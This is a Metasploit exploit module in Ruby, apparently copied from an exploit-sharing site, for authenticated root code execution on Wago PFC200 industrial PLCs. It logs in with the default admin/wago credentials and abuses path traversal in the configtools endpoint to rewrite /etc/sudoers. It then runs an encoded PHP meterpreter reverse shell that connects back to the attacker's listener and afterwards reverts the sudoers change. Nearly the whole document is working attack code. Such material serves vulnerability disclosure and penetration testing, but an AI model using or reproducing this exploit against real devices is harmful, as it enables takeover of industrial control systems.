扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 |
# Exploit Title: Wago PFC200 - Authenticated Remote Code Execution (Metasploit) # Date: 2020-02-05 # Exploit Author: Nico Jansen (0x483d) # Vendor Homepage: https://www.wago.com/ # Version: <= Firmare 11 (02_08_35) # Tested on: Linux # CVE : N/A ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'json' class MetasploitModule < Msf::Exploit::Remote #Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name'=> 'Wago PFC200 authenticated remote code execution', 'Description' => %q{ The Wago PFC200 (up to incl. Firmware 11 02_08_35) is vulnerable to an authenticated remote code execution in the administrative web interface. By exploiting the vulnerability, an attacker is able to run system commands in root context. To execute this module, login credenials of the website administrator are required (default: admin/wago). This module was tested against a Wago 750-8202 Firmware 11 (02_08_35) but other PFC200 models may be affected as well. }, 'Author' => [ 'Nico Jansen (0x483d)' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'Platform' => 'php', 'References' => [ ['CVE', '-'], ['US-CERT-VU', '-'], ['URL', '-'], ['URL', '-'] ], 'DisclosureDate' => 'Aug 1 2018', 'Privileged' => true, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'SSL' => true, }, 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptString.new('ADMINPASSWORD', [true, 'Password to authenticate as admin', 'wago']), ]) deregister_options('VHOST') end # This function checks the index page to check if it may be a valid device. # There are some more checks done after an successful authentication def check @csrf="" res = send_request_cgi( 'method' => 'GET', 'uri' => '/wbm/index.php' ) if res && res.code == 200 && res.body.to_s =~ /WAGO Ethernet Web-based Management/ result = sendConfigToolMessage("get_typelabel_value", ["SYSDESC"]) if result and result =~ /PFC200/ # Get Version and check if it's <= 11 result = sendConfigToolMessage("get_coupler_details", ["firmware-revision"]) result = result.split('(')[1] result = result.split(')')[0] if Integer(result) <= 11 return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end return Exploit::CheckCode::Safe end return Exploit::CheckCode::Safe end # This function authenticates the adminuser against the Wago PLC def login res = send_request_cgi( 'method' => 'POST', 'uri' => '/wbm/login.php', 'data' => '{"username":"admin","password":"' + datastore['ADMINPASSWORD'] + '"}' ) if res.code != 200 return false end parsed_json = JSON.parse(res.body.to_s) if parsed_json["status"] == 0 @cookie = res.get_cookies @csrf = parsed_json["csrfToken"] return true else return false end end # This function can be used to execute arbitary commands after login def sendConfigToolMessage(scriptname, parameters, expectResponse=true) parameterString = '' for param in parameters parameterString = parameterString + '"' + param + '", ' end parameterString = parameterString[0...-2] request ='{"csrfToken":"' + @csrf + '",'\ '"renewSession":true,"aDeviceParams":{"0"'\ ':{"name":"' + scriptname + '","parameter":['\ + parameterString + '],"sudo":true,"multiline":false,'\ '"timeout":12000,"dataId":0}}}' res = send_request_cgi( 'method' => 'POST', 'uri' => '/wbm/configtools.php', 'data' => request, 'cookie' => @cookie, ) # After exploitation, there is no response, so just return true because the message was sent if expectResponse == false return true end parsed_json = JSON.parse(res.body.to_s) @csrf = parsed_json["csrfToken"] if parsed_json["aDeviceResponse"][0]["status"] == 0 return parsed_json["aDeviceResponse"][0]["resultString"] else return false end end # This function is used to enable php execution in sudoers file using sed def change_sudo_permissions() return sendConfigToolMessage('/../../../usr/bin/sed',["-i", "s/NOPASSWD:/NOPASSWD:ALL#/", "/etc/sudoers"]) end # Encode a given string to bypass validation def encode(content) result = "" content.split("").each do |i| result = result + "chr(" + (i.ord).to_s + ")." end result = result[0...-1] return result end # This function generates the required payload used to connect to the msf listener def send_payload() meterpreter_reverse_php='exec("/usr/bin/sed -i \'s/NOPASSWD:ALL#/NOPASSWD:/\' \'/etc/sudoers\'"); $ip = "' + datastore['LHOST'] + '"; $port = ' + datastore['LPORT'].to_s + '; '\ 'if (($f = "stream_socket_client") && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); '\ '$s_type = "stream"; } if (!$s && ($f = "fsockopen") && is_callable($f)) { $s = $f($ip, $port);'\ ' $s_type = "stream"; } if (!$s && ($f = "socket_create") && is_callable($f)) '\ '{ $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) '\ '{ die(); } $s_type = "socket"; } if (!$s_type) { die("no socket funcs"); } '\ 'if (!$s) { die("no socket"); } switch ($s_type) { case "stream": $len = fread($s, 4); break; '\ 'case "socket": $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len);'\ ' $len = $a["len"]; $b = ""; while (strlen($b) < $len) { switch ($s_type) { case "stream": $b .= '\ 'fread($s, $len-strlen($b)); break; case "socket": $b .= socket_read($s, $len-strlen($b)); break; } } '\ '$GLOBALS["msgsock"] = $s; $GLOBALS["msgsock_type"] = $s_type; if (extension_loaded("suhosin") '\ '&& ini_get("suhosin.executor.disable_eval")) { $suhosin_bypass=create_function("", $b); $suhosin_bypass(); } '\ 'else { eval($b); } die(); ?>' command = "eval(" + encode(meterpreter_reverse_php) + ");" return sendConfigToolMessage("/../../../usr/bin/php5", ["-r", command], false) end def exploit if check == Exploit::CheckCode::Vulnerable # Check if the system may be a PFC200 print_good("Target seems to be a vulnerable PFC200 device") if login # Try to authenticate using the given credentials print_good("Successfully logged in as website admin") if change_sudo_permissions() print_good("Manipulated the /etc/sudoers file to enable php execution as root") print_good("Preparing meterpreter payload and undoing changes to /etc/sudoers...") send_payload() else print_error("Unable to modify the /etc/sudoers file...") end else print_error("Unable to login as admin with the given credentials...") end else print_error("Target is not a valid PFC200 device. Will exit now...") end end end |
体验盒子
